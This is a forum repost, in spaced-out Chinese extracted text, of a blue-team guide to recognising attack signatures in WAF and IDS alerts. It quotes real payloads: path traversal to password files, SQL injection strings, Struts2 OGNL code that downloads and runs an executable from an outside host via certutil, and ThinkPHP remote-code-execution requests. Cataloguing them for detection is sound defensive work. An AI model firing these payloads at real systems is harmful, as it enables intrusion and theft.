搜索

[21349] 2020-10-27_威胁事件告警分析技巧及处置（一）

文档创建者：s7ckTeam
浏览次数：5
最后更新：2025-01-18
2020-10-27_威胁事件告警分析技巧及处置（一） 0 x 0 1 0 x 0 2 0 x 0 3 0 x 0 4 威 胁 事 件 告 警 分 析 技 巧 及 处 置 （ 一 ） L e m o n S e c   2 0 2 0 - 1 0 - 2 7 以 下 文 章 来 源 于 贝 塔 安 全 实 验 室   ， 作 者 e t h 1 0 声 明 ： 声 明 ： 公 众 号 大 部 分 文 章 来 自 团 队 核 心 成 员 和 知 识 星 球 成 员 ， 少 部 分 文 章 经 过 原 作 者 授 权 和 其 它 公 众 号 白 名 单 转 载 。 未 经 授 权 ， 严 禁 转 载 ， 如 需 转 载 ， 请 联 系 公 众 号 管 理 员 授 权 转 载 白 名 单 ！ 请 勿 利 用 文 章 内 的 相 关 技 术 从 事 非 法 测 试 ， 如 因 此 产 生 的 一 切 不 良 后 果 与 文 章 作 者 及 本 公 众 号 无 关 ！ S T A R T 前 言 前 言 由 于 近 几 年 信 息 安 全 人 员 紧 缺 ， 面 临 H W 急 需 安 全 人 员 的 竞 赛 中 ， 许 多 安 全 厂 商 降 低 招 聘 要 求 ， 招 收 大 量 安 全 工 作 经 验 较 少 的 人 员 参 与 H W 当 中 ， 由 于 缺 乏 相 应 的 工 作 经 验 ， 面 对 攻 击 团 队 的 频 繁 入 侵 ， 导 致 误 判 、 错 封 攻 击 源 I P 地 址 ， 进 而 对 公 司 业 务 造 成 严 重 影 响 。 小 编 对 此 对 攻 击 流 特 征 进 行 了 一 个 详 细 的 总 结 ， 本 文 适 用 于 可 查 看 攻 击 数 据 流 量 的 设 备 ， 如 ： w a f 、 i d s 、 i p s 、 天 眼 、 睿 眼 以 及 其 他 全 流 量 分 析 系 统 等 。 期 望 效 果 期 望 效 果 看 完 本 文 后 ， 您 能 学 到 ： > 常 见 告 警 攻 击 特 征 识 别 >   低 危 告 警 攻 击 事 件 忽 略 >   研 判 告 警 攻 击 是 否 误 报 >   复 杂 告 警 攻 击 P c a p 取 证 >   验 证 告 警 攻 击 是 否 成 功 通 用 攻 击 关 键 特 征 通 用 攻 击 关 键 特 征 在 设 备 上 产 生 的 告 警 ， 就 目 前 而 言 ， 基 本 都 有 这 几 个 必 要 字 段 ： 请 求 头 、 响 应 码 、 响 应 头 、 载 荷 、 原 始 数 据 包 。 通 过 这 些 字 段 我 们 可 以 进 行 事 件 的 研 判 ， 但 是 就 我 个 人 而 言 ， 不 必 执 着 于 告 警 名 称 ， 如 果 这 些 字 段 中 包 含 了 一 些 通 用 的 攻 击 特 征 ， 那 么 我 可 判 断 为 是 真 实 攻 击 ， 然 后 再 进 行 下 一 步 确 定 是 否 是 自 己 人 员 进 行 安 全 测 试 ， 是 否 需 要 溯 源 等 下 一 步 的 工 作 计 划 ， 通 用 特 征 包 含 但 不 限 于 以 下 这 些 ： S Q L 注 入 攻 击 特 征 注 入 攻 击 特 征 常 见 安 全 漏 洞 对 应 攻 击 特 征 — — S Q L 注 入 包 含 但 不 限 于 以 下 这 些 : 贝 塔 安 全 实 验 室 贝 塔 安 全 实 验 室   . 致 力 于 网 络 安 全 攻 防 研 究 ！ / e t c / p a s s w d / e t c / s h a d o w / c : b o o t . i n i / C : / W i n d o w s / s y s t e m . i n i 、 / w i n d o w s / w i n . i n i . . / . . / . . / . . / . . /   若 是 只 有 一 个 且 后 面 是 图 片 类 型   p d f 类 型 那 需 结 合 其 他 事 件 进 行 综 合 判 断 c m d . e x e   / c [ / k ] 、 系 统 命 令 / b i n / b a s h w g e t   h t t p : / / x x . x x . x x . x x / x x . s h   C H R ( 6 8 ) | | C H R ( 1 1 3 ) | | C H R ( 9 0 ) | | C H R ( 8 5 ) % p r i n t ( m d 5 ( 3 1 3 3 7 ) ) 执 行 命 令 的 函 数 等 。 >   s e l e c t   *   f r o m   x x   u n i o n   s e l e c t   n u l l , n u l l >   o r d e r   b y   1 0 [ 5 ] [ 2 ] [ 3 ] >   " )   o r   ( " 1 " = " 1 > ‘ a n d   1 = 2 - -   - [ # ] 、   1 ' )   A n D   1 4 1 9 = 1 4 1 9   A n D   ( ' 1 4 1 9 ' = ' 1 4 2 0   >   1 '   A N D   R O W ( 4 6 2 2 , 4 6 2 3 ) > ( S E L E C T   C O U N T ( * ) , C O N C A T ( ' P G C 2 U c N o ' , ( S E L E C T   ( C A S E   W H E N   ( 4 6 2 2 = 4 6 2 2 )   T H E N   1   E L S E   0   E N D ) ) , ' P G C 2 U c N o ' , F L O O R ( R A N D ( 0 ) * 2 ) ) x   F R O M   ( S E L E C T   4 6 2 4   U N I O N   S E L E C T   4 6 2 5   U N I O N   S E L E C T   4 6 2 6   U N I O N   S E L E C T   4 6 2 7 ) a   G R O U P   B Y   x )   A N D   ' P G C 2 U c N o >   = @ ` ' `   U n i o n   s e l e c t   u s e r i d   f r o m   ` % 2 3 @ _ _ a d m i n `   w h e r e   1   o r   i d = @ ` ’ ` >   9 9 9 7 ' )   A N D   8 5 5 3 % 3 D 8 5 5 3   A N D   ( ' P V Z l ' % 3 D ' P V Z l ， 1 ' % 3 B S E L E C T   D B M S _ P I P E . R E C E I V E _ M E S S A G E ( C H R ( 6 8 ) | | C H R ( 1 1 3 ) | | C H R ( 9 0 ) | | C H R ( 8 5 ) % 2 C 5 )   F R O M   D U A L >   s l e e p ( 5 ) 、 w a i t f o r   d e l a y   ' 0 : 0 : 5 ' >   a n d   i f   ( a s c i i ( s u b s t r ( d a t a b a s e ( ) , 1 , 1 ) ) 、 a n d   i f   ( l e n g t h ( d a t a b a s e ( ) )   ( u p d a t e x m l ( 1 , m d 5 ( 0 x 6 6 6 F 7 2 7 4 6 5 7 3 7 4 ) , 1 ) ) ) 、 e x t r a c t v a l u e 、 N A M E _ C O N S T
0 x 0 5 0 x 0 6 0 x 0 7 S t r u s t s 2 远 程 代 码 执 行 攻 击 特 征 远 程 代 码 执 行 攻 击 特 征 常 见 安 全 漏 洞 对 应 攻 击 特 征 — — s t r u t s 2 远 程 代 码 执 行 包 含 但 不 限 于 以 下 这 些 : j a v a 代 码 执 行 攻 击 特 征 代 码 执 行 攻 击 特 征 常 见 安 全 漏 洞 对 应 攻 击 特 征 — — J a v a 代 码 执 行 包 含 但 不 限 于 以 下 这 些 : P H P 远 程 代 码 执 行 攻 击 特 征 远 程 代 码 执 行 攻 击 特 征 常 见 安 全 漏 洞 对 应 攻 击 特 征 — — P H P 代 码 执 行 包 含 但 不 限 于 以 下 这 些 : >   # _ m e m b e r A c c e s s = @ o g n l . O g n l C o n t e x t @ D E F A U L T _ M E M B E R _ A C C E S S , # r e s = @ o r g . a p a c h e . s t r u t s 2 . S e r v l e t A c t i o n C o n t e x t @ g e t R e s p o n s e ( ) . g e t W r i t e r ( ) , # r e s . p r i n t ( ' R T b Z W n w B U d l s e u p N Y Q j f ' ) , # r e s . f l u s h ( ) , # r e s . c l o s e ( ) >   / ? r e d i r e c t : $ { % 2 3 w % 3 d % 2 3 c o n t e x t . g e t ( ' c o m . o p e n s y m p h o n y . x w o r k 2 . d i s p a t c h e r . H t t p S e r v l e t R e s p o n s e ' ) . g e t W r i t e r ( ) , % 2 3 w . p r i n t l n ( ' S g E y R p r k L c M d t n s T J C v e ' ) , % 2 3 w . f l u s h ( ) , % 2 3 w . c l o s e ( ) } >   c l a s s . c l a s s L o a d e r . r e s o u r c e s . d i r C o n t e x t . a l i a s e s = / e C J i v k u R = c o n f / >   C o n t e n t - T y p e :   % { ( # n i k e = ' m u l t i p a r t / f o r m - d a t a ' ) . ( # d m = @ o g n l . O g n l C o n t e x t @ D E F A U L T _ M E M B E R _ A C C E S S ) . ( # _ m e m b e r A c c e s s ? ( # _ m e m b e r A c c e s s = # d m ) : ( ( # c o n t a i n e r = # c o n t e x t [ ' c o m . o p e n s y m p h o n y . x w o r k 2 . A c t i o n C o n t e x t . c o n t a i n e r ' ] ) . ( # o g n l U t i l = # c o n t a i n e r . g e t I n s t a n c e ( @ c o m . o p e n s y m p h o n y . x w o r k 2 . o g n l . O g n l U t i l @ c l a s s ) ) . ( # o g n l U t i l . g e t E x c l u d e d P a c k a g e N a m e s ( ) . c l e a r ( ) ) . ( # o g n l U t i l . g e t E x c l u d e d C l a s s e s ( ) . c l e a r ( ) ) . ( # c o n t e x t . s e t M e m b e r A c c e s s ( # d m ) ) ) ) . ( # c m d = ' c m d . e x e   / c   c e r t u t i l . e x e   - u r l c a c h e   - s p l i t   - f   h t t p : / / w i u . f x x x x x x k . m e / d o w n l o a d . e x e   % S y s t e m R o o t % / T e m p / a o d a g u t n z w r j r l m 1 5 3 4 1 . e x e   &   c m d . e x e   / c   % S y s t e m R o o t % / T e m p / a o d a g u t n z w r j r l m 1 5 3 4 1 . e x e ' ) . ( # i s w i n = ( @ j a v a . l a n g . S y s t e m @ g e t P r o p e r t y ( ' o s . n a m e ' ) . t o L o w e r C a s e ( ) . c o n t a i n s ( ' w i n ' ) ) ) . ( # c m d s = ( # i s w i n ? { ' c m d . e x e ' , ' / c ' , # c m d } : {   @ o g n l . O g n l C o n t e x t       n e w   j a v a . l a n g . P r o c e s s B u i l d e r       p r i n t l n (     ( j a v a . l a n g . R u n t i m e ) . g e t R u n t i m e ( ) . e x e c ( n e w   j a v a . l a n g . S t r i n g 、 $ { n e w   j a v a . l a n g . I n t e g e r (   i m p o r t + j a v a . u t i l . * ; i m p o r t + j a v a . i o   j a v a . i o . P r i n t W r i t e r   o r g . a p a c h e . c o m m o n s . c o l l e c t i o n s . f u n c t o r s . I n v o k e r T r a n s f o r m e r < ? p h p   e v a l ( $ _ P O S T [ x x x ] ) ? > e v a l ( ) a s s e r t ( ) p r e g _ r e p l a c e ( ) c r e a t e _ f u n c t i o n ( ) c a l l _ u s e r _ f u n c ( ) a r r a y _ m a p ( ) c a l l _ u s e r _ f u n c _ a r r a y ( )
0 x 0 8 T h i n k p h p 远 程 代 码 执 行 攻 击 特 征 远 程 代 码 执 行 攻 击 特 征 T h i n k   P H P 远 程 代 码 执 行 漏 洞 包 含 但 不 限 于 以 下 这 些 : E N D 2 0 2 0 h w 系 列 文 章 整 理 （ 中 秋 快 乐 、 国 庆 快 乐 、 双 节 快 乐 ） H W 中 如 何 检 测 和 阻 止 D N S 隧 道 c t f 系 列 文 章 整 理 日 志 安 全 系 列 - 安 全 日 志 【 干 货 】 流 量 分 析 系 列 文 章 整 理 【 干 货 】 超 全 的   渗 透 测 试 系 列 文 章 整 理 【 干 货 】 持 续 性 更 新 - 内 网 渗 透 测 试 系 列 文 章 【 干 货 】 a n d r o i d 安 全 系 列 文 章 整 理 扫 描 关 注 扫 描 关 注 L e m o n S e c c a l l _ u s e r _ f u n c _ a r r a y ( ) p h p i n f o ( ) s y s t e m e x e c p o p e n p a s s t h r u s h e l l _ e x e c f i l e _ p u t _ c o n t e n t s i n d e x . p h p ? s = / i n d e x / t h i n k a p p / i n v o k e f u n c t i o n & f u n c t i o n = c a l l _ u s e r _ f u n c _ a r r a y & v a r s [ 0 ] = b a s e 6 4 _ d e c o d e & v a r s [ 1 ] [ ] = M W V V d G J r c 2 p L Z 3 A y R m x 1 Z g = = " _ m e t h o d " :   " _ _ c o n s t r u c t " ,     " f i l t e r [ ] " :   " s y s t e m " ,   " m e t h o d " :   " g e t " ,   " g e t [ ] " :   ' p h p   - r   " p h p i n f o ( ) ; “ ’   / i n d e x . p h p ? s = / i n d e x / t h i n k a p p / i n v o k e f u n c t i o n / i n d e x . p h p ? s = / i n d e x / t h i n k r e q u e s t / c a c h e ? s = i n d e x / t h i n k R e q u e s t / i n p u t / i n d e x . p h p / ? s = i n d e x / t h i n k V i e w / d i s p l a y & c o n t e n t = % 2 2 % 3 C ? % 3 E % 3 C ? p h p % 2 0 p h p i n f o ( ) ; ? % 3 E & d a t a = 1 ? s = i n d e x / t h i n k m o d u l e / a c t i o n / p a r a m 1 / $ { @ p h p i n f o ( ) } / i n d e x . p h p ? s = i n d e x / t h i n k c o n f i g / g e t & n a m e = d a t a b a s e . p a s s w o r d i n d e x . p h p ? s = i n d e x / t h i n k c o n f i g / g e t & n a m e = d a t a b a s e . p a s s w o r d   c = e x e c & f = c a l c . e x e & _ m e t h o d = f i l t e r

回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理